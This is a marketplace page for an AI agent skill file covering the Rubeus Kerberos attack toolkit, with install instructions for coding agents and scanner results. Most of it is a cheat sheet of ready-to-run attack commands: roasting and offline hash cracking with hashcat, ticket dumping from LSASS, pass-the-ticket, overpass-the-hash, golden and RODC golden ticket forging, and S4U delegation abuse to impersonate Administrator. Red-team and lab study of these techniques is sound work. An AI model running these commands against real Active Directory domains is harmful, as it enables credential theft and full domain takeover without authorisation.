aeondave/rubeus
offensive-tools/windows/rubeus/SKILL.md
Auth/lab ref: Kerberos testing toolkit for TGT/TGS requests, AS-REP roasting, Kerberoasting, pass-the-ticket, overpass-the-hash, and S4U delegation misuse.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill rubeusInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: Jul 3, 2026, 4:58 AM130.2s1 file scanned
SKILL.md
- name:
- rubeus
- description:
- Auth/lab ref: Kerberos testing toolkit for TGT/TGS requests, AS-REP roasting, Kerberoasting, pass-the-ticket, overpass-the-hash, and S4U delegation misuse.
- license:
- BSD-3-Clause
- compatibility:
- Windows only.
- author:
- AeonDave
- version:
- 1.0
Rubeus
C# Kerberos abuse toolkit — TGT/TGS manipulation, roasting, delegation, and ticket operations.
Quick Start
# AS-REP Roasting (no pre-auth required users)
Rubeus.exe asreproast /format:hashcat
# Kerberoasting (service account TGS)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Dump all tickets from memory
Rubeus.exe dump /nowrap
Core Modules
Ticket Harvesting
| Command | Description |
|---------|-------------|
| dump | Dump tickets from LSASS |
| triage | List all tickets |
| monitor | Monitor new TGTs (interval-based) |
| harvest | Harvest TGTs over time |
Ticket Requests
| Command | Description |
|---------|-------------|
| asktgt | Request TGT with password/hash/aes |
| asktgs | Request TGS for a service |
| renew | Renew a TGT |
Roasting
| Command | Description |
|---------|-------------|
| asreproast | AS-REP roast (pre-auth disabled) |
| kerberoast | Roast SPN-registered accounts |
| brute | Password brute-force via Kerberos |
Ticket Abuse
| Command | Description |
|---------|-------------|
| ptt | Pass-the-ticket (inject to current session) |
| purge | Purge tickets from memory |
| describe | Parse and describe a ticket |
| createnetonly | Create sacrificial logon session |
Delegation
| Command | Description |
|---------|-------------|
| s4u | S4U2Self + S4U2Proxy (constrained delegation) |
| tgssub | Substitute altservice in TGS |
Ticket Forging
| Command | Description |
|---------|-------------|
| golden | Forge golden ticket (TGT) — supports /rodcNumber for RODC golden tickets |
| silver | Forge silver ticket (TGS) for specific service |
| diamond | Modify legitimate TGT (stealthier than golden) |
Common Workflows
# Kerberoast all SPNs → crack offline
Rubeus.exe kerberoast /format:hashcat /outfile:spns.txt
hashcat -a 0 -m 13100 spns.txt rockyou.txt
# AS-REP roast (dump users without pre-auth)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -a 0 -m 18200 asrep.txt rockyou.txt
# Pass-the-ticket: import stolen ticket
Rubeus.exe ptt /ticket:base64_or_file.kirbi
klist # verify ticket in session
# Overpass-the-hash: get TGT with NTLM hash
Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt
# Golden ticket equivalent: asktgt with AES key
Rubeus.exe asktgt /user:admin /aes256:AESKEY /domain:corp.local /dc:dc.corp.local /ptt
# Constrained delegation S4U
Rubeus.exe s4u /user:service$ /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.corp.local /ptt
# RODC Golden Ticket — forge TGT signed by RODC krbtgt_XXXXX
# /rodcNumber sets kvno to (XXXXX << 16 | kvno_low) automatically
Rubeus.exe golden /rodcNumber:8245 /aes256:<krbtgt_8245_aes256> /user:Administrator /id:500 /domain:domain.local /sid:<domain_SID> /flags:forwardable,renewable,enc_pa_rep /outfile:ticket.kirbi
# Then upgrade to real TGS via asktgs against writable DC
Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/DC01.domain.local /dc:<writable_dc_ip> /outfile:tgs.kirbi
# S4U with SPN substitution (/altservice) for double-hop
# Gets cifs/ ticket but substitutes http/ for WinRM access
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /altservice:http/TARGET.domain.local /dc:<dc_ip> /ptt
# createnetonly — sacrifice logon session for ticket injection (bypasses WinRM double-hop)
# Creates a new process in LOGON_TYPE 9 where injected tickets are usable for outbound auth
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /dc:<dc_ip> /ptt /createnetonly:"cmd.exe /c C:\Windows\Temp\run.bat" /show:false
Resources
| File | When to load |
|------|--------------|
| references/kerberos-attacks.md | Full Kerberos attack chain, delegation types, ticket format, detection notes |
Structuring This Skill
Related Skills
aeondave/unicorn
development
VerifiedTrustedCommunity
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
11SKILL.mdUpdated Jul 24, 2026
aeondave/renode
development
VerifiedTrustedCommunity
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
11SKILL.mdUpdated Jul 24, 2026
aeondave/qiling
development
VerifiedTrustedCommunity
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
11SKILL.mdUpdated Jul 24, 2026
aeondave/qemu
databases
VerifiedTrustedCommunity
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.
11SKILL.mdUpdated Jul 24, 2026